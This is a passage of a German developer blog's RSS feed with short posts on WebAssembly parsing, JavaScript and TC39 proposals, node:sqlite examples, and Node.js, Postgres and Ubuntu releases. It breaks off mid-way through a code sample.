&lt;p&gt;Da sind ein paar Features dabei, die sehr viel schmerz lösen könnten. Für &lt;a href=&quot;http://github.com/nikeee/lean-s3&quot;&gt;lean-s3&lt;/a&gt; experimentiere ich gerade damit, einen Parser schnell zu bekommen. Ein langsamer Teil davon ist das Scanning. Für den hab ich jetzt schon viel rumgehackt und ihn auf &lt;code&gt;.indexOf&lt;/code&gt; portiert, wo es möglich war. Der Hintergrund dafür ist, dass &lt;code&gt;.indexOf&lt;/code&gt; unter der Haube (sehr wahrscheinlich) Vektorinstruktionen und generell eine sehr intelligente String-Suche verwendet, die man mit einem einfachen &lt;code&gt;while-(x)-i++&lt;/code&gt;-Loop nicht hinbekommt.&lt;/p&gt;
&lt;p&gt;Die Daten kommen aber aus undici, entweder als JS-String oder als Buffer. Wenn man jetzt vor dieser Spec WASM zum Scannen/Parsen verwenden wollte, hätte man vor dem Scannen die Daten in den WASM-Memory-Space manuell kopieren müssen. Ein Memcopy der größe O(n) hätte denke ich sämtliche Vorteile durch schnelleres Scannen wieder zunichte gemacht, deshalb hab ich das gar nicht erst probiert.&lt;/p&gt;
&lt;p&gt;Mit diesen neuen Specs (speziell &quot;multiple Memories&quot; und &quot;JS Strings&quot;) gibt es hier 2 neue Möglichkeiten:&lt;/p&gt;
&lt;h3&gt;1. JS-String-Referenz übergeben&lt;/h3&gt;
&lt;p&gt;Den Result-String der HTTP-Antwort aus undici als JS-String an WASM übergeben und dann mit den String-Builtins den String verarbeiten. Damit macht man dann effektiv noch das gleiche wie vorher, aber der &quot;Klebecode&quot; zwischen den &lt;code&gt;.indexOf&lt;/code&gt;-Calls ist dann etwa schneller, da der nicht mehr auf JS-Quriks (siehe unten) prüfen muss.&lt;/p&gt;
&lt;h3&gt;2. Den Buffer als Memory übergeben&lt;/h3&gt;
&lt;p&gt;Man kann den Buffer (nicht den String) von Undici direkt als zusätzlichen Memory an WASM reichen. Das wär dann Zero-Copy.&lt;/p&gt;
&lt;p&gt;Vorteil gebenüber 1.: Die Antwort wird höchstwahrscheinlich UTF-8 sein. JS selbst benutzt für Strings intern UTF-16, d.h. wenn man eine HTTP-Antwort bekommt, muss undici aus dem UTF-8 erstmal noch UTF-16 machen. Das Problem hatte ASP.NET auch mal und sie haben das über eine Erweiterung von &lt;code&gt;System.Text.Json&lt;/code&gt;, die die Rohdaten ohne vorheriges re-encoden nach UTF-16 parsen kann, fixen können. Das UTF-16 verbraucht unnötig viel Speicher, was schlecht für Cache-Lokalität ist. Wenn man den Buffer direkt verarbeitet, kann man sich das Re-Encoden sparen.&lt;/p&gt;
&lt;p&gt;Ein weiterer Vorteil: Man kann dann die String-Operationskonstrukte der jeweiligen WASM-Quellsprache verwenden. Die kennt der Compiler dann schon. D.h. statt das &lt;code&gt;.charCodeAt&lt;/code&gt; über die JS-Builtin-Strings zu callen, verwendet man einfach das, was die jeweilige Sprache sowieso schon hat. Da diese Boundary dann nicht vorhanden ist, kann der Compiler hier sehr viel besser optimieren, vor allem über Funktionsgrenzen hinaus. Außerdem wird der Overhead deutlich geringer sein (bzw. nicht vorhanden), weil nicht zwischen WASM-Land und JS-Land gemarshallt werden muss.&lt;/p&gt;
&lt;p&gt;2 hat aber auch einen Nachteil gegenüber 1: Da für das Decoding verschiedene APIs verwendet werden, kann hier eine Divergenz durch verschiedene Implementierungen entstehen. Z.B. könnte sich das &lt;code&gt;charCodeAt&lt;/code&gt; in JS anders verhalten als das aus bspw. Rust, wenn der zu lesende Buffer ungültiges UTF-8 hat. Das könnte darin enden, dass die Rust-Version dann falsche String-Offsets beim Scannen zurück gibt. Vielleicht könnte man das auch &quot;beheben&quot;, indem man direkt den kompletten AST in WASM zusammen baut. Ob das mit den neuen Specs möglich ist, gilt es noch rauszufinden.&lt;/p&gt;
&lt;p&gt;Wenn das Stable in Node.js ist, hat man ne Menge zum Spielen. Vielleicht könnten die Memories auch für WASM-auf-Microcontroller verwendet werden, wo es verschiedene Speicherregionen gibt, die beim Microcontroller verschiedene Zwecke haben. Oder vielleicht sogar für Memory-Mapped-IO?&lt;/p&gt;
&lt;p&gt;Edit:
So ganz 0-Copy wäre Methode 2 natürlich doch noch nicht. Undici kopiert die Daten ja aus dem Lesebuffer im Network-Code in den aggregierten Buffer, der am ende zurückgegeben wird. In C# hat man das mit dem Primitive &lt;code&gt;ReadOnlySequence&amp;lt;T&amp;gt;&lt;/code&gt; und &lt;a href=&quot;https://learn.microsoft.com/en-us/dotnet/standard/io/pipelines&quot;&gt;&lt;code&gt;Systen.IO.Pipelines&lt;/code&gt;&lt;/a&gt; gelöst. Das ist im Prinzip eine API, bei dem eine ReadOnlySequence eine Verkettung der Buffer ist, die Undici mit den Daten aus dem Netzwerk füllt. Die Pipeline bietet dann eine Abstraktion, um aus dieser Bufferkette angenehmer zu lesen. So kann man wirklich sehr einfach parsen, ohne die gesamte Antwort in einen Buffer zu tun. Das müsste Undici aber auch supporten und das wär denke ich auch sinnvoll, wenn das eine JS-API wird, die intern nativ arbeitet. Vielleicht machen das ja die WebStreams (oder node:streams) intern so?&lt;/p&gt;
&lt;p&gt;Update 2025-10-16:
&lt;a href=&quot;https://github.com/oxc-project/oxc/pull/9516&quot;&gt;oxlint möchte gern ESLint-Plugins supporten und hatte das Problem auch&lt;/a&gt;. Sie haben es mit shared memopry gelöst und einen JS-basierten Serializer, der den AST aus dem Buffer liest, mit Code-Gen. &lt;a href=&quot;https://github.com/oxc-project/oxc/pull/9516/files#diff-d49c806daa0397287cd5d049e8d7e7f3e968efe028fa3f14183e580eb9d4723b&quot;&gt;Hier&lt;/a&gt; sieht man den deserializer.&lt;/p&gt;
</content:encoded><language>de-DE</language><category>wasm</category><category>javascript</category><author>nikeee</author></item><item><link>https://blog.holz.nu/2025/09/23/0.html</link><guid isPermaLink="true">https://blog.holz.nu/2025/09/23/0.html</guid><pubDate>Tue, 23 Sep 2025 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;YAML-Bashing hatte ich ja schon öfters hier. Eine gute Übersicht mit den Quirks: &lt;a href=&quot;https://ruudvanasseldonk.com/2023/01/11/the-yaml-document-from-hell&quot;&gt;The yaml document from hell&lt;/a&gt;&lt;/p&gt;
</content:encoded><language>de-DE</language><category>language-design</category><author>nikeee</author></item><item><link>https://blog.holz.nu/2025/09/24/0.html</link><guid isPermaLink="true">https://blog.holz.nu/2025/09/24/0.html</guid><pubDate>Wed, 24 Sep 2025 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;a href=&quot;https://maoni0.medium.com/preparing-for-the-net-10-gc-88718b261ef2&quot;&gt;.NET 10 bekommt ein neues GC-Feature&lt;/a&gt;: DATAS. War eigentlich schon bei .NET 9 da, aber das benutzen kaum welche, weil es nicht LTS ist.&lt;/p&gt;
</content:encoded><language>de-DE</language><category>dotnet</category><author>nikeee</author></item><item><link>https://blog.holz.nu/2025/09/24/1.html</link><guid isPermaLink="true">https://blog.holz.nu/2025/09/24/1.html</guid><pubDate>Wed, 24 Sep 2025 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;AWS S3 läuft doch bestimmt auf SSDs, oder? Nein, das sind HDDs: &lt;a href=&quot;https://bigdata.2minutestreaming.com/p/how-aws-s3-scales-with-tens-of-millions-of-hard-drives&quot;&gt;How AWS S3 serves 1 petabyte per second on top of slow HDDs&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Hier noch ein Post aus 2017, wo beschrieben wird, wie sie es gebaut haben: &lt;a href=&quot;https://www.allthingsdistributed.com/2023/07/building-and-operating-a-pretty-big-storage-system.html&quot;&gt;Building and operating a pretty big storage system called S3&lt;/a&gt;.&lt;/p&gt;
</content:encoded><language>de-DE</language><category>system-design</category><category>s3</category><author>nikeee</author></item><item><link>https://blog.holz.nu/2025/09/24/2.html</link><guid isPermaLink="true">https://blog.holz.nu/2025/09/24/2.html</guid><pubDate>Wed, 24 Sep 2025 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;V8 verwendet ja Pointer Tagging, um optimiert mit Zahlen zu arbeiten. Wer sowas selbst mal einsetzen will: &lt;a href=&quot;https://vectrx.substack.com/p/pointer-tagging-in-c-the-art-of-packing&quot;&gt;Pointer Tagging in C++: The Art of Packing Bits Into a Pointer&lt;/a&gt;&lt;/p&gt;
</content:encoded><language>de-DE</language><category>language-design</category><category>c</category><author>nikeee</author></item><item><link>https://blog.holz.nu/2025/09/24/3.html</link><guid isPermaLink="true">https://blog.holz.nu/2025/09/24/3.html</guid><pubDate>Wed, 24 Sep 2025 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Ein REPL, um mit einer (Programmier-)Sprache Musik zu machen: &lt;a href=&quot;https://strudel.cc&quot;&gt;Strudel&lt;/a&gt;.&lt;/p&gt;
</content:encoded><language>de-DE</language><category>music</category><category>language-design</category><author>nikeee</author></item><item><link>https://blog.holz.nu/2025/09/24/4.html</link><guid isPermaLink="true">https://blog.holz.nu/2025/09/24/4.html</guid><pubDate>Wed, 24 Sep 2025 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Unter einem Artikel über Fixed-Integer-Width-Vektoren (&lt;a href=&quot;https://lukefleed.xyz/posts/compressed-fixedvec/&quot;&gt;hier&lt;/a&gt;) &lt;a href=&quot;https://news.ycombinator.com/item?id=45366110&quot;&gt;stand ein netter Hinweis&lt;/a&gt;, den ich hier mal zitiere:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Instead of doing stuff like &lt;code&gt;(word &amp;gt;&amp;gt; bit_offset) &amp;amp; self.mask&lt;/code&gt;, in C or C++ I usually write &lt;code&gt;_bextr_u64&lt;/code&gt;, or when using modern C# &lt;a href=&quot;https://learn.microsoft.com/en-us/dotnet/api/system.runtime.intrinsics.x86.bmi1.x64.bitfieldextract?view=net-9.0&quot;&gt;&lt;code&gt;Bmi1.X64.BitFieldExtract&lt;/code&gt;&lt;/a&gt;. Note however these intrinsics compile into 2 instructions not one, because the CPU instruction takes start/length arguments from lower/higher bytes of a single 16-bit number.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Geht seit Haswell (~2013), cool!&lt;/p&gt;
</content:encoded><language>de-DE</language><category>rust</category><category>datenstrukturen</category><author>nikeee</author></item><item><link>https://blog.holz.nu/2025/09/25/0.html</link><guid isPermaLink="true">https://blog.holz.nu/2025/09/25/0.html</guid><pubDate>Thu, 25 Sep 2025 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;a href=&quot;https://yatsushi.com/blog/tz-database/&quot;&gt;How the tz database works&lt;/a&gt;. Als ergänzung zu &lt;a href=&quot;/2024/10/30/0.html&quot;&gt;dem anderen Post&lt;/a&gt; über Zeitzonen.&lt;/p&gt;
</content:encoded><language>de-DE</language><author>nikeee</author></item><item><link>https://blog.holz.nu/2025/09/25/1.html</link><guid isPermaLink="true">https://blog.holz.nu/2025/09/25/1.html</guid><pubDate>Thu, 25 Sep 2025 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;a href=&quot;https://www.postgresql.org/about/news/postgresql-18-released-3142/&quot;&gt;Postgres 18 ist da&lt;/a&gt;. Neu sind: Async IO, virtual generated columns, &lt;code&gt;uuidv7()&lt;/code&gt;, &lt;code&gt;OLD&lt;/code&gt;/&lt;code&gt;NEW&lt;/code&gt; bei &lt;code&gt;RETURNING&lt;/code&gt; und noch ein paar andere Sachen.&lt;/p&gt;
</content:encoded><language>de-DE</language><category>db</category><author>nikeee</author></item><item><link>https://blog.holz.nu/2025/09/26/0.html</link><guid isPermaLink="true">https://blog.holz.nu/2025/09/26/0.html</guid><pubDate>Fri, 26 Sep 2025 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;a href=&quot;https://blog.sigplan.org/2025/03/31/how-to-give-a-good-talk/&quot;&gt;How to give a good Talk&lt;/a&gt;.&lt;/p&gt;
</content:encoded><language>de-DE</language><author>nikeee</author></item><item><link>https://blog.holz.nu/2025/09/27/0.html</link><guid isPermaLink="true">https://blog.holz.nu/2025/09/27/0.html</guid><pubDate>Sat, 27 Sep 2025 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;a href=&quot;https://una.im/scroll-target-group/&quot;&gt;Creating a scroll-spy with 2 lines of CSS&lt;/a&gt; (in Chrome 140).&lt;/p&gt;
</content:encoded><language>de-DE</language><category>css</category><author>nikeee</author></item><item><link>https://blog.holz.nu/2025/10/01/0.html</link><guid isPermaLink="true">https://blog.holz.nu/2025/10/01/0.html</guid><pubDate>Wed, 01 Oct 2025 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;a href=&quot;https://www.amplifypartners.com/blog-posts/why-tigerbeetle-is-the-most-interesting-database-in-the-world&quot;&gt;Why TigerBeetle is the most interesting database in the world&lt;/a&gt;.&lt;/p&gt;
</content:encoded><language>de-DE</language><category>db</category><category>zig</category><author>nikeee</author></item><item><link>https://blog.holz.nu/2025/10/01/1.html</link><guid isPermaLink="true">https://blog.holz.nu/2025/10/01/1.html</guid><pubDate>Wed, 01 Oct 2025 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;a href=&quot;https://boajs.dev/blog/2025/09/24/temporal-release&quot;&gt;&lt;code&gt;temporal_rs&lt;/code&gt;&lt;/a&gt; ist eine Rust-Implementierung, die als Backing-API für die JS-Temporal-API gebaut wurde. Benutzt wird sie jetzt scheinbar auch bald in V8, und damit auch in Chrome.&lt;/p&gt;
&lt;p&gt;Falls Chrome bisher noch kein Rust hatte (eine Sprache, die von Mozilla für Firefox entwickelt wurde), haben sie es dann spätestens jetzt. Und das noch vor &lt;a href=&quot;https://en.wikipedia.org/wiki/Carbon_(programming_language)&quot;&gt;Carbon&lt;/a&gt; -- eine Sprache, die Google extra für Chrome baut.&lt;/p&gt;
</content:encoded><language>de-DE</language><category>rust</category><category>javascript</category><author>nikeee</author></item><item><link>https://blog.holz.nu/2025/10/02/0.html</link><guid isPermaLink="true">https://blog.holz.nu/2025/10/02/0.html</guid><pubDate>Thu, 02 Oct 2025 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;a href=&quot;https://github.com/tc39/proposal-record-tuple&quot;&gt;Tuples &amp;amp; Records&lt;/a&gt; sind bei TC39 ja auf das &lt;a href=&quot;https://github.com/tc39/proposal-composites&quot;&gt;Composite-Objekt&lt;/a&gt; eingedampft worden, weil die Engine-Entwickler keine Lust hatten, 2 neue primitive Typen einzuführen. Das wäre für React etc. super praktisch gewesen, weil zusammengesetzte Typen mit Wertegleichheit sehr viel State-Memoization überflüssig gemacht hätte. Nebenbei hätte man mit ihnen auch zusammengesetzte Werte als &lt;code&gt;Map&lt;/code&gt;/&lt;code&gt;Set&lt;/code&gt;-Key benutzen können. Die Composites machen jetzt nur noch letzteres.&lt;/p&gt;
&lt;p&gt;Das Composite ist dabei mehr ein Hack, als eine Spracherweiterung. Da wird für Maps/Sets einfach gesagt &quot;wenn ein Key ein &lt;code&gt;Composite&lt;/code&gt; ist, mach als Key-Vergleich nicht &lt;code&gt;===&lt;/code&gt;, sondern &lt;code&gt;.equals&lt;/code&gt;&quot; Und &lt;code&gt;.equals&lt;/code&gt; implementiert dann einen Deep-Equal-Vergleich.&lt;/p&gt;
&lt;p&gt;Dass man keine neuen primitiven Typen einführen will, finde ich ne komishce Ausrede. Genau das hat man vor gar nicht allzulanger Zeit für &lt;code&gt;BigInt&lt;/code&gt; getan. Und da fragen sich viele mittlerweile, ob es das überhaupt wert war, weil es kaum jemand benutzt.&lt;/p&gt;
&lt;p&gt;Jedenfalls sind BigInts auch primitive Wertetypen und können dementsprechend als Key verwendet werden. Wenn man seine Daten also in einen BigInt packt, kann mehrere Daten als Key nehmen. Das ist um einiges Speichereffizienter, als sie in einen String zu packen und es kann beliebig viele Daten erfassen (im Gegensatz zu &lt;code&gt;number&lt;/code&gt;). &lt;a href=&quot;https://jonathan-frere.com/posts/bigints-are-cool/&quot;&gt;Hier&lt;/a&gt; hat genau damit jemand rumgespielt.&lt;/p&gt;
</content:encoded><language>de-DE</language><category>javascript</category><author>nikeee</author></item><item><link>https://blog.holz.nu/2025/10/02/1.html</link><guid isPermaLink="true">https://blog.holz.nu/2025/10/02/1.html</guid><pubDate>Thu, 02 Oct 2025 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;a href=&quot;https://react.dev/blog/2025/10/01/react-19-2&quot;&gt;React 19.2 ist da&lt;/a&gt;.&lt;/p&gt;
</content:encoded><language>de-DE</language><category>react</category><author>nikeee</author></item><item><link>https://blog.holz.nu/2025/10/02/2.html</link><guid isPermaLink="true">https://blog.holz.nu/2025/10/02/2.html</guid><pubDate>Thu, 02 Oct 2025 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Node.js hat ja schon SQLite eingebaut bekommen. In der neuen Node.js 24.9 &lt;a href=&quot;https://github.com/nodejs/node/pull/58748&quot;&gt;gibt es dafür jetzt eine Erweiterung&lt;/a&gt;.
Die API ist ähnlich zu der von Bun oder den &lt;a href=&quot;https://www.npmjs.com/package/sql-template-tag&quot;&gt;tagged-template-strings&lt;/a&gt;, die ich mal als PoC &lt;a href=&quot;https://github.com/nikeee/sequelts&quot;&gt;statisch typisiert habe&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Aussehen tut das so:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;import { DatabaseSync } from &apos;node:sqlite&apos;;

const db = new DatabaseSync(&apos;:memory:&apos;);
const sql = db.createSQLTagStore();

db.exec(&apos;CREATE TABLE users (id INT, name TEXT)&apos;);

// Using the &apos;run&apos; method to insert data.
// The tagged literal is used to identify the prepared statement.
sql.run`INSERT INTO users VALUES (1, &apos;Alice&apos;)`;
sql.run`INSERT INTO users VALUES (2, &apos;Bob&apos;)`;

// Using the &apos;get&apos; method to retrieve a single row.
const id = 1;
const user = sql.get`SELECT * FROM users WHERE id = ${id}`;
console.log(user); // { id: 1, name: &apos;Alice&apos; }

// Using the &apos;all&apos; method to retrieve all rows.
const allUsers = sql.all`SELECT * FROM users ORDER BY id`;
console.log(allUsers);
// [
//   { id: 1, name: &apos;Alice&apos; },
//   { id: 2, name: &apos;Bob&apos; }
// ]
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Die Querys werden intern prepared und in einem LRU-Cache abgelegt. In den Docs steht leider nicht, wie man Arrays oder Sub-Querys übergibt. Das wird sicher bald bei den Typen nachgereicht.&lt;/p&gt;
</content:encoded><language>de-DE</language><category>nodejs</category><category>sqlite</category><category>db</category><author>nikeee</author></item><item><link>https://blog.holz.nu/2025/10/02/3.html</link><guid isPermaLink="true">https://blog.holz.nu/2025/10/02/3.html</guid><pubDate>Thu, 02 Oct 2025 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Es war gerade wieder &lt;a href=&quot;https://bsky.app/profile/tc39.es/post/3lzr5omofn62g?&quot;&gt;ein TC39-Meeting&lt;/a&gt;. Ich zitiere mal den gesamten Post:&lt;/p&gt;
&lt;p&gt;Stages:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Stage 3: &lt;a href=&quot;https://github.com/tc39/proposal-nonextensible-applies-to-private&quot;&gt;Non-extensible applies to Private&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;Stage 2.7: &lt;a href=&quot;https://github.com/tc39/proposal-import-bytes&quot;&gt;Import Bytes&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;Stage 2.7: &lt;a href=&quot;https://github.com/tc39/proposal-iterator-chunking&quot;&gt;Iterator Chunking&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;Stage 2: &lt;a href=&quot;https://github.com/mhofman/proposal-native-promise-predicate&quot;&gt;Native Promise Predicate&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;Stage 1: &lt;a href=&quot;https://github.com/DanielRosenwasser/proposal-array-push-all/&quot;&gt;&lt;code&gt;Array.prototype.pushAll&lt;/code&gt;&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;Stage 1: &lt;a href=&quot;https://github.com/mhofman/proposal-native-promise-adoption&quot;&gt;Native Promise Adoption&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Wie immer: Ab Stage 2.7 kann shippen es langsam die Browser. Ab Stage 3 ist es quasi schon final.&lt;/p&gt;
</content:encoded><language>de-DE</language><category>javascript</category><author>nikeee</author></item><item><link>https://blog.holz.nu/2025/10/09/0.html</link><guid isPermaLink="true">https://blog.holz.nu/2025/10/09/0.html</guid><pubDate>Thu, 09 Oct 2025 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Ubuntu 25.10 kommt heute. &lt;a href=&quot;https://news.itsfoss.com/ubuntu-25-10-features&quot;&gt;Das hier&lt;/a&gt; ist neu.&lt;/p&gt;
&lt;p&gt;tl;dr:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;mal wieder ein tollererer neuer Installer&lt;/li&gt;
&lt;li&gt;Linux 6.17&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://release.gnome.org/49/&quot;&gt;Gnome 49&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;Gnome Terminal wird durch &lt;a href=&quot;https://gitlab.gnome.org/chergert/ptyxis&quot;&gt;Ptyxis&lt;/a&gt; ersetzt&lt;/li&gt;
&lt;li&gt;X11 wird komplett entfernt, ab jetzt nur noch Wayland mit XWayland&lt;/li&gt;
&lt;li&gt;&lt;code&gt;sudo-rs&lt;/code&gt; (rust-reimplementierung von sudo) kommt. Aber nicht als drop-in-replacement für &lt;code&gt;sudo&lt;/code&gt;, sondern (vorerst?) zusätzlich&lt;/li&gt;
&lt;li&gt;Die Disk-Encryption kann jetzt mit TPM2 arbeiten&lt;/li&gt;
&lt;li&gt;(Ubuntu Server) &lt;code&gt;wget&lt;/code&gt; wurde durch &lt;code&gt;wcurl&lt;/code&gt; ersetzt, einem curl-Wrapper für wget-Compat&lt;/li&gt;
&lt;/ul&gt;
</content:encoded><language>de-DE</language><category>ubuntu</category><category>linux</category><author>nikeee</author></item><item><link>https://blog.holz.nu/2025/10/13/0.html</link><guid isPermaLink="true">https://blog.holz.nu/2025/10/13/0.html</guid><pubDate>Mon, 13 Oct 2025 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;a href=&quot;https://react.dev/blog/2025/10/07/react-compiler-1&quot;&gt;React compiler ist in 1.0 raus&lt;/a&gt;.&lt;/p&gt;
</content:encoded><language>de-DE</language><category>react</category><category>compiler</category><author>nikeee</author></item><item><link>https://blog.holz.nu/2025/10/14/0.html</link><guid isPermaLink="true">https://blog.holz.nu/2025/10/14/0.html</guid><pubDate>Tue, 14 Oct 2025 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Ich hab mal die Tags verlinkt, sodass die Tags auch irgendwas bringen.&lt;/p&gt;
</content:encoded><language>de-DE</language><category>blog</category><author>nikeee</author></item><item><link>https://blog.holz.nu/2025/10/14/1.html</link><guid isPermaLink="true">https://blog.holz.nu/2025/10/14/1.html</guid><pubDate>Tue, 14 Oct 2025 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Gestern hab gab&apos;s eine Verlinkung der Tags. Heute hab ich mal externe Verlinkungen erweitert:&lt;/p&gt;
&lt;p&gt;Schon länger habe ich einen Job laufen, der alle referenzierten Links sammelt und auf archive.org/is einen zum Zeitpunkt passenden Snapshot raussucht.&lt;/p&gt;
&lt;p&gt;Jetzt habe ich noch einen zweiten Job, der regelmäßig prüft, ob die Links noch verfügbar sind. Ist das nicht der Fall, wird der Link durch die Snapshot-URL ersetzt.&lt;/p&gt;
&lt;p&gt;Ein Beispiel davon gibt es &lt;a href=&quot;/2025/07/27/0.html&quot;&gt;hier&lt;/a&gt;.&lt;/p&gt;
</content:encoded><language>de-DE</language><category>blog</category><author>nikeee</author></item><item><link>https://blog.holz.nu/2025/10/16/0.html</link><guid isPermaLink="true">https://blog.holz.nu/2025/10/16/0.html</guid><pubDate>Thu, 16 Oct 2025 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;a href=&quot;https://voidzero.dev/posts/announcing-vite-plus&quot;&gt;VoidZero hat gerade Vite+ angekündigt&lt;/a&gt;. Kostenlos für OSS-Projekte.&lt;/p&gt;
&lt;p&gt;Es handelt sich um ein drop-in-Replacement für Vite. Dazu kommt ein eslint-kompatibler Linter (über oxlint) und ein prettier-kompatibler Formatter (über oxfmt). Ein tsup
ist auch dabei (über tsdown und rolldown).&lt;/p&gt;
&lt;p&gt;Vieles davoon waren auch die Ziele von &lt;a href=&quot;https://biomejs.dev&quot;&gt;biome&lt;/a&gt;.&lt;/p&gt;
</content:encoded><language>de-DE</language><category>javascript</category><author>nikeee</author></item><item><link>https://blog.holz.nu/2025/10/16/1.html</link><guid isPermaLink="true">https://blog.holz.nu/2025/10/16/1.html</guid><pubDate>Thu, 16 Oct 2025 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;TIL &lt;a href=&quot;https://de.wikipedia.org/wiki/Industrieminute&quot;&gt;Industrieminute&lt;/a&gt;.&lt;/p&gt;
</content:encoded><language>de-DE</language><category>til</category><author>nikeee</author></item><item><link>https://blog.holz.nu/2025/10/16/2.html</link><guid isPermaLink="true">https://blog.holz.nu/2025/10/16/2.html</guid><pubDate>Thu, 16 Oct 2025 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;a href=&quot;https://nodesource.com/blog/nodejs-features-replacing-npm-packages&quot;&gt;15 Recent Node.js Features that Replace Popular npm Packages&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Bei den base64-Beispielen fehlen noch die &lt;a href=&quot;https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Uint8Array/fromBase64&quot;&gt;neuen Funktionen für Hex und Base64&lt;/a&gt;:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;const a = Uint8Array.fromBase64(&quot;...&quot;);
console.log(a.toBase64();

const b = Uint8Array.fromHex(&quot;...&quot;);
console.log(b.toHex());
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Kann auch url-safe base64 und das Handling von falschem Padding und Whitespace ist auch konfigurierbar.&lt;/p&gt;
</content:encoded><language>de-DE</language><category>nodejs</category><category>javascript</category><author>nikeee</author></item><item><link>https://blog.holz.nu/2025/10/16/3.html</link><guid isPermaLink="true">https://blog.holz.nu/2025/10/16/3.html</guid><pubDate>Thu, 16 Oct 2025 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;a href=&quot;https://nodejs.org/en/blog/release/v25.0.0&quot;&gt;Node.js 25 ist da&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Neu ist:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Die base64/hex-APIs aus dem vorherigen Blogpost&lt;/li&gt;
&lt;li&gt;Mehr sandboxing mit &lt;code&gt;--allow-net&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;WebStorage (&lt;a href=&quot;/2024/07/10/2.html&quot;&gt;ich berichtete&lt;/a&gt;) ist jetzt per default eingeschaltet&lt;/li&gt;
&lt;li&gt;&lt;code&gt;JSON.stringify&lt;/code&gt; ist ein bisschen schneller&lt;/li&gt;
&lt;li&gt;WebAssembly kann jetzt &lt;a href=&quot;https://v8.dev/blog/jspi&quot;&gt;JSPI&lt;/a&gt;. Damit können WASM-Funktionen jetzt Promise-zurückgebende JS-Funktionen verwenden&lt;/li&gt;
&lt;/ul&gt;
</content:encoded><language>de-DE</language><category>nodejs</category><author>nikeee</author></item><item><link>https://blog.holz.nu/2025/10/20/0.html</link><guid isPermaLink="true">https://blog.holz.nu/2025/10/20/0.html</guid><pubDate>Mon, 20 Oct 2025 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Kennt Ihr noch &lt;a href=&quot;https://github.com/servo/servo&quot;&gt;Servo&lt;/a&gt;? Davon ist gerade &lt;a href=&quot;https://github.com/servo/servo/releases/tag/v0.0.1&quot;&gt;v0.0.1&lt;/a&gt; erschienen.&lt;/p&gt;
&lt;p&gt;Der Blog &lt;a href=&quot;https://servo.org/blog/2025/10/20/servo-0.0.1-release/&quot;&gt;sagt&lt;/a&gt;:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;We plan to publish such a tagged release every month.&lt;/p&gt;
&lt;/blockquote&gt;
</content:encoded><language>de-DE</language><category>rust</category><author>nikeee</author></item><item><link>https://blog.holz.nu/2025/10/22/0.html</link><guid isPermaLink="true">https://blog.holz.nu/2025/10/22/0.html</guid><pubDate>Wed, 22 Oct 2025 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;TIL &lt;a href=&quot;https://sqlite.org/c3ref/set_authorizer.html&quot;&gt;&lt;code&gt;sqlite3_set_authorizer&lt;/code&gt;&lt;/a&gt;. Damit kann man einen Callback definieren, den SQLite aufruft, wenn eine Query auf eine bestimmte Datenbank/Tabelle/Spalte zugreifen möchte.&lt;/p&gt;
&lt;p&gt;Gefunden, weil &lt;code&gt;node:sqlite&lt;/code&gt; &lt;a href=&quot;https://github.com/nodejs/node/pull/59928/files#diff-dd810db4fe69364c3a67a274e0725f386040c0fd1dcfade7093f23c8514328ae&quot;&gt;das jetzt kann&lt;/a&gt;:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;import { DatabaseSync, constants } from &apos;node:sqlite&apos;;
const db = new DatabaseSync(&apos;:memory:&apos;);

// Set up an authorizer that denies all table creation
db.setAuthorizer((actionCode) =&amp;gt; {
  if (actionCode === constants.SQLITE_CREATE_TABLE) {
    return constants.SQLITE_DENY;
  }
  return constants.SQLITE_OK;
});

// This will work
db.prepare(&apos;SELECT 1&apos;).get();

// This will throw an error due to authorization denial
try {
  db.exec(&apos;CREATE TABLE blocked (id INTEGER)&apos;);
} catch (err) {
